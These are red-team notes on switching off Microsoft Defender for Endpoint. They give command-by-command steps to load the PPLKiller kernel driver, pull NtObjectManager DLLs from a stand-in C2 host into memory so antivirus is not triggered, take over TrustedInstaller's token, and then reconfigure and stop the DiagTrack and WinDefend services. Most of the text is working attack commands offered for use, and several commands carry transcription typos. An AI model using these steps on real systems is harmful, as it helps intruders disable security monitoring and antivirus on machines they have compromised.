MDE (Microsoft Defender for Endpoint)

- Check if its enabled

MDE relies on two main services to function properly: Sense and DiagTrack

tasklist /v | findstr /I sense

These services are protected services. Even an admin cannot shutdown them easily. To check this:

sc query sense

sc config diagtrack binPath="hey"

sc qprotection sense

- PPLKiller

Version 1:

https://github.com/Mattiwatti/PPLKiller

sc create pplkiller binPath=C:\Windows\System32\drivers\pplkiller.sys type= kernel

sc start pplkiller

Version 2:

https://github.com/RedCursorSecurityConsulting/PPLKiller/tree/master

First upload the binary and the driver, then:

PPLKiller.exe /installDriver

PPLKiller.exe /disableLSAProtection

To clean up: PPLKiller.exe /uninstallDriver

- Custom TrustedInstaller impersonation

There is a service called TrustedInstaller which ahas the duty of managing protected services and other critical resources on the system. For example, to look at the access control list (ACL) of cmd.exe:

Get-Acl C:\Wndows\System32\cmd.exe |fl

We can chek there that TrustedInstaller service is given full authority over the cmd.exe fle. The same is true for PPL services like DiagTrack and Sense.

If TrustedInstaller service is not protected we can try injecting a new thread into its process:

sc qprotection trustedinstaller

We'll need to build our own custom routine to impersonate tokens. We don't have to start from scratch. James Forshaw has developed a very comprehensive. set of PowerShell tools that interact with NT objects, detailed at https://github.com/google/sandbox-attacksurface-analysis-tools/

We can download the whole project from GitHub and then compile the NtObjectManager and NtApiDotNet modules in Visual Studio. These two modules contain the methods we will use to perform our token impersonation.

Compiling the two modules yields two .NET DLLs called NtObjectManager dll and NtApiDotNet. dll that contain everything we need to impersonate TrustedInstaller.exe. These DLLs don't trigger any antivirus alerts, because they contain legit Windows code.

We'll upload these DLLs to our C2 server and use the Load function of the System.Reflection.Assembly class to dynamically load the DLLs in memory.

$browser = New-Object System.Net.WebClient;

$browser.Proxy.Credentials= [System.Net.CredentialCachel ::DefaultNetworkCredentials;

We then download the DLLs using the DownloadData function:

$b = $browser.DownloadData("https://example.com/NtobjectManager.d11")

$c = $browser. DownloadData("http://example.com/NtApiDotNet.d11")

And finally, we load the DLLs into memory:

$d = [System.Reflection.Assembly]:: Load($b)

$e = [System.Reflection.Assembly]:: Load($c)

Next, we import the loaded assemblies just like we'd import any regular DLL or PowerShell script

Import-module $d

Import-module $e

$e.GetExportedTypes ()

We want to grab TrustedInstaller's tokens and leverage their privileged permissions to shut down MDE. First, we acquire the SeDebugPrivilege permission in our current PowerShell session, which will allow us to interact with system processes' memory space:

$Token = Get-NtToken -Primary

$Token.SetPrivilege([NtApiDotNet.TokenPrivilegeValue[]]"SeDebugPrivilege", [NtApiDotNet.PrivilegeAttributes]"Enabled")

$Token.Privileges | Where-Object {$_.name -eq "SeDebugPrivilege"}

Next, we launch the TrustedInstaller process and get a handle on its process using Get-NtProcess:

start-service trustedinstaller

$ti_process = Get-NtProcess -Name "TrustedInstaller.exe"

In the final part, we will call the CreateProcess method from the NtApiDotNet DLL to launch a command line interpreter with TrustedInstaller.exe as its parent process.

First, we create a new Win32ProcessConfig object to store the process configuration:

$config = New-Object NtApiDotNet.Win32.Win32ProcessConfig

We then assign the command line to execute:

$config.CommandLine= "cmd"

We store the number 16 in the CreationFlags parameter to force the CreateProcess method to open a new console window:

$config.CreationFlags = [NtApiDotNet.Win32.CreateProcessFlags]16

And finally, we assign TrustedInstaller.exe as a parent process:

$config. ParentProcess = $ti_process

We feed this configuration to the CreateProcess function and success fully spawn a new command line interpreter bearing TrustedInstaller's identity:

[NtApiDotNet.Win32.Win32Process]::CreateProcess($config)

From this new command line window, we can simply change DiagTrack's binary path, then stop the service altogether. We'll do the same for the WinDefend service to also disable the antivirus:

sc config diagtrack binPath="hey"

sc stop diagtrack

sc query diagtrack

Last updated